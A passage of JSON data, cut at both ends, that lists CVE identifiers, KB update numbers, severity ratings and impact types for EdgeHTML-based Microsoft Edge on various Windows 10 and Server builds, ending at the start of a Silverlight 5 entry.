Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for x64-based Systems\":[{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0774\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0775\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056892\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088776\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088776\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093112\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8279\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343897\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471329\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for 32-bit Systems\":[{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8139\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8279\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343909\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471324\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471324\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for x64-based Systems\":[{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8139\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8279\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343909\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471324\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480966\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for 32-bit Systems\":[{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471332\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471332\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for x64-based Systems\":[{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471332\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480116\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for 32-bit Systems\":[{\"cve\":\"CVE-2018-0859\",\"kb\":\"4530684\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-0859\",\"kb\":\"4530684\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for x64-based Systems\":[{\"cve\":\"CVE-2018-0859\",\"kb\":\"4530684\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185611\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4042895\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025338\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038781\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088786\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088786\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103716\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093111\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103716\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471323\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185611\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4042895\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025338\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038781\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056893\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088786\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088786\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103716\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093111\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103716\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471323\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows Server 2016\":[{\"cve\":\"CVE-2016-7200\",\"kb\":\"3200970\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3200970\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11764\",\"kb\":\"4038782\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041691\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11861\",\"kb\":\"4048953\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048953\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053579\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8496\",\"kb\":\"4022715\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022715\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025339\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034658\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034658\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8731\",\"kb\":\"4038782\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038782\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038782\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056890\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056890\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056890\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056890\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056890\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056890\",\"severity\":\"Moderate\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074590\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088787\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088787\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088787\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0953\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093119\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8133\",\"kb\":\"4103723\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103723\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338814\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338814\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471321\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480961\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480961\",\"severity\":\"Low\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480961\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows Server 2019\":[{\"cve\":\"CVE-2018-8617\",\"kb\":\"4471332\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0539\",\"kb\":\"4480116\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0566\",\"kb\":\"4480116\",\"severity\":\"Low\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0567\",\"kb\":\"4480116\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0568\",\"kb\":\"4480116\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (32-bit)\":[{\"cve\":\"CVE-2015-2433\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code 